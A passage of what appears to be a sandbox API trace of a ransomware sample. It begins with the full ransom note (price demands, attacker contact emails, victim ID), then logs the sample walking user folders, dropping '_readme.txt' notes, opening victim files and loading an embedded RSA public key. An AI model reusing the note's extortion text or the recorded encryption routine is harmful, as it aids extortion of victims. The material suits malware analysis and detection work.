purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.378] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\_readme.txt" (normalized: "c:\\boot\\zh-tw\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.378] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.378] PathFindExtensionW (pszPath="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned=".mui" [0117.378] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.380] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.380] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.380] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.380] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.381] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.381] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.381] PathFindFileNameW (pszPath="") returned="" [0117.381] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.381] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.381] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.381] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.381] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", pMore="_readme.txt" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0117.381] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0117.381] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb8e9e0d0, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0xb8e9e0d0, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.382] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT") returned=".DAT" [0117.382] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.382] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1") returned=".LOG1" [0117.382] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2") returned=".LOG2" [0117.382] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned=".blf" [0117.382] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned=".regtrans-ms" [0117.382] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned=".regtrans-ms" [0117.382] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini") returned=".ini" [0117.382] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned=".txt" [0117.382] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.382] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.382] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.382] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.382] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.382] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.382] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.382] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.383] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.383] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.383] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.383] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0117.383] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.383] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.383] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.383] PathFindFileNameW (pszPath="") returned="" [0117.383] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.383] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.383] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.383] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.383] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\") returned="Application Data\\" [0117.383] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.383] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.383] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.383] PathFindFileNameW (pszPath="") returned="" [0117.383] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x77456f50, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x77456f50, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0xffffffff [0117.384] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.384] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.384] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="Contacts\\" [0117.384] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.384] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.384] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact") returned=".contact" [0117.384] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0117.385] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=1178) returned 1 [0117.385] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0117.388] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.388] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0117.390] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x49a, lpOverlapped=0x0) returned 1 [0117.390] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0117.390] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0117.391] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0117.391] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0117.391] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0117.391] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x11) returned 0x614db20 [0117.391] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db20, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db20, pdwDataLen=0x6a5fa54) returned 1 [0117.391] GetLastError () returned 0x0 [0117.391] SetLastError (dwErrCode=0x0) [0117.391] GetLastError () returned 0x0 [0117.391] SetLastError (dwErrCode=0x0) [0117.391] GetLastError () returned 0x0 [0117.391] SetLastError (dwErrCode=0x0) [0117.391] GetLastError () returned 0x0 [0117.391] SetLastError (dwErrCode=0x0) [0117.391] GetLastError () returned 0x0 [0117.391] SetLastError (dwErrCode=0x0) [0117.391] GetLastError () returned 0x0 [0117.391] SetLastError (dwErrCode=0x0) [0117.391] GetLastError () returned 0x0 [0117.391] SetLastError (dwErrCode=0x0) [0117.391] GetLastError () returned 0x0 [0117.391] SetLastError (dwErrCode=0x0) [0117.391] GetLastError () returned 0x0 [0117.391] SetLastError (dwErrCode=0x0) [0117.391] GetLastError () returned 0x0 [0117.392] SetLastError (dwErrCode=0x0) [0117.392] GetLastError () returned 0x0 [0117.392] SetLastError (dwErrCode=0x0) [0117.392] GetLastError () returned 0x0 [0117.392] SetLastError (dwErrCode=0x0) [0117.392] GetLastError () returned 0x0 [0117.392] SetLastError (dwErrCode=0x0) [0117.392] GetLastError () returned 0x0 [0117.392] SetLastError (dwErrCode=0x0) [0117.392] GetLastError () returned 0x0 [0117.392] SetLastError (dwErrCode=0x0) [0117.392] GetLastError () returned 0x0 [0117.392] SetLastError (dwErrCode=0x0) [0117.392] GetLastError () returned 0x0 [0117.392] SetLastError (dwErrCode=0x0) [0117.392] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61652e8 [0117.392] GetLastError () returned 0x0 [0117.392] SetLastError (dwErrCode=0x0) [0117.392] GetLastError () returned 0x0 [0117.392] SetLastError (dwErrCode=0x0) [0117.392] GetLastError () returned 0x0 [0117.392] SetLastError (dwErrCode=0x0) [0117.392] GetLastError () returned 0x0 [0117.392] SetLastError (dwErrCode=0x0) [0117.392] GetLastError () returned 0x0 [0117.392] SetLastError (dwErrCode=0x0) [0117.392] GetLastError () returned 0x0 [0117.393] SetLastError (dwErrCode=0x0) [0117.393] GetLastError () returned 0x0 [0117.393] SetLastError (dwErrCode=0x0) [0117.393] GetLastError () returned 0x0 [0117.393] SetLastError (dwErrCode=0x0) [0117.393] GetLastError () returned 0x0 [0117.393] SetLastError (dwErrCode=0x0) [0117.393] GetLastError () returned 0x0 [0117.393] SetLastError (dwErrCode=0x0) [0117.393] GetLastError () returned 0x0 [0117.393] SetLastError (dwErrCode=0x0) [0117.393] GetLastError () returned 0x0 [0117.393] SetLastError (dwErrCode=0x0) [0117.393] GetLastError () returned 0x0 [0117.393] SetLastError (dwErrCode=0x0) [0117.393] GetLastError () returned 0x0 [0117.393] SetLastError (dwErrCode=0x0) [0117.393] GetLastError () returned 0x0 [0117.393] SetLastError (dwErrCode=0x0) [0117.393] GetLastError () returned 0x0 [0117.393] SetLastError (dwErrCode=0x0) [0117.393] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161640 [0117.393] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61652e8 | out: hHeap=0x35b0000) returned 1 [0117.393] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x614db20 | out: hHeap=0x35b0000) returned 1 [0117.393] CryptDestroyHash (hHash=0x6183888) returned 1 [0117.393] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0117.393] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6194a40 | out: hHeap=0x35b0000) returned 1 [0117.393] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0117.394] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0117.395] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161790 [0117.395] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0117.395] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161640 | out: hHeap=0x35b0000) returned 1 [0117.395] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161640 [0117.395] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x4a0) returned 0x61efac8 [0117.395] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.395] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161790 | out: hHeap=0x35b0000) returned 1 [0117.395] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x1f0) returned 0x6194a40 [0117.395] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161790 [0117.395] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x1f0) returned 0x6194c38 [0117.395] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x58) returned 0x6168a68 [0117.395] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368ddc8 [0117.395] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x61626b8 [0117.395] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc) returned 0x61e36c0 [0117.395] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x14) returned 0x614dae0 [0117.395] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x10) returned 0x61e36d8 [0117.395] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc) returned 0x61e36a8 [0117.395] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162700 [0117.395] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc) returned 0x61e3660 [0117.395] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x14) returned 0x614db20 [0117.395] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x10) returned 0x61e3630 [0117.395] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc) returned 0x61e3648 [0117.395] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc) returned 0x61e3690 [0117.395] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.395] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc) returned 0x61e3678 [0117.395] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc) returned 0x61e36f0 [0117.396] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc) returned 0x61e3708 [0117.396] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc) returned 0x61e3720 [0117.396] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x24) returned 0x61875f8 [0117.396] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x158) returned 0x35e0e48 [0117.396] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35e0e48, Size=0x218) returned 0x6771cd0 [0117.396] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x558) returned 0x6771ef0 [0117.396] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61e36f0 | out: hHeap=0x35b0000) returned 1 [0117.396] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61e3720 | out: hHeap=0x35b0000) returned 1 [0117.396] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61e3708 | out: hHeap=0x35b0000) returned 1 [0117.396] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61875f8 | out: hHeap=0x35b0000) returned 1 [0117.396] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6771ef0 | out: hHeap=0x35b0000) returned 1 [0117.396] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc) returned 0x61e3708 [0117.396] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x8) returned 0x6104bf0 [0117.396] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x10) returned 0x61e3720 [0117.396] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x18) returned 0x614db60 [0117.396] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x9) returned 0x61e36f0 [0117.396] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x8) returned 0x6104be0 [0117.396] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x10e) returned 0x360f820 [0117.396] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61652e8 [0117.396] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x58) returned 0x6168ac8 [0117.396] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x14) returned 0x614db40 [0117.396] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x104) returned 0x617a1c8 [0117.396] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x14) returned 0x614dba0 [0117.396] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x4) returned 0x6104c00 [0117.397] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x360f820 | out: hHeap=0x35b0000) returned 1 [0117.397] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61e3720 | out: hHeap=0x35b0000) returned 1 [0117.397] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6104be0 | out: hHeap=0x35b0000) returned 1 [0117.397] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61e36f0 | out: hHeap=0x35b0000) returned 1 [0117.397] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x614db60 | out: hHeap=0x35b0000) returned 1 [0117.397] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6104bf0 | out: hHeap=0x35b0000) returned 1 [0117.397] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61e3708 | out: hHeap=0x35b0000) returned 1 [0117.397] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61652e8 | out: hHeap=0x35b0000) returned 1 [0117.397] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6168a68 | out: hHeap=0x35b0000) returned 1 [0117.397] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6771cd0 | out: hHeap=0x35b0000) returned 1 [0117.397] GetCurrentThreadId () returned 0x614 [0117.397] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x190) returned 0x60fa658 [0117.397] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368de98 [0117.397] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162790 [0117.397] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc) returned 0x61e3708 [0117.397] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x100) returned 0x360f820 [0117.397] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x82) returned 0x36182c8 [0117.397] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x2c) returned 0x6161678 [0117.397] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x80) returned 0x3607e88 [0117.397] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x148) returned 0x3609350 [0117.397] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x4) returned 0x6104bf0 [0117.397] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x4) returned 0x6104be0 [0117.397] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x100) returned 0x6127198 [0117.397] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, 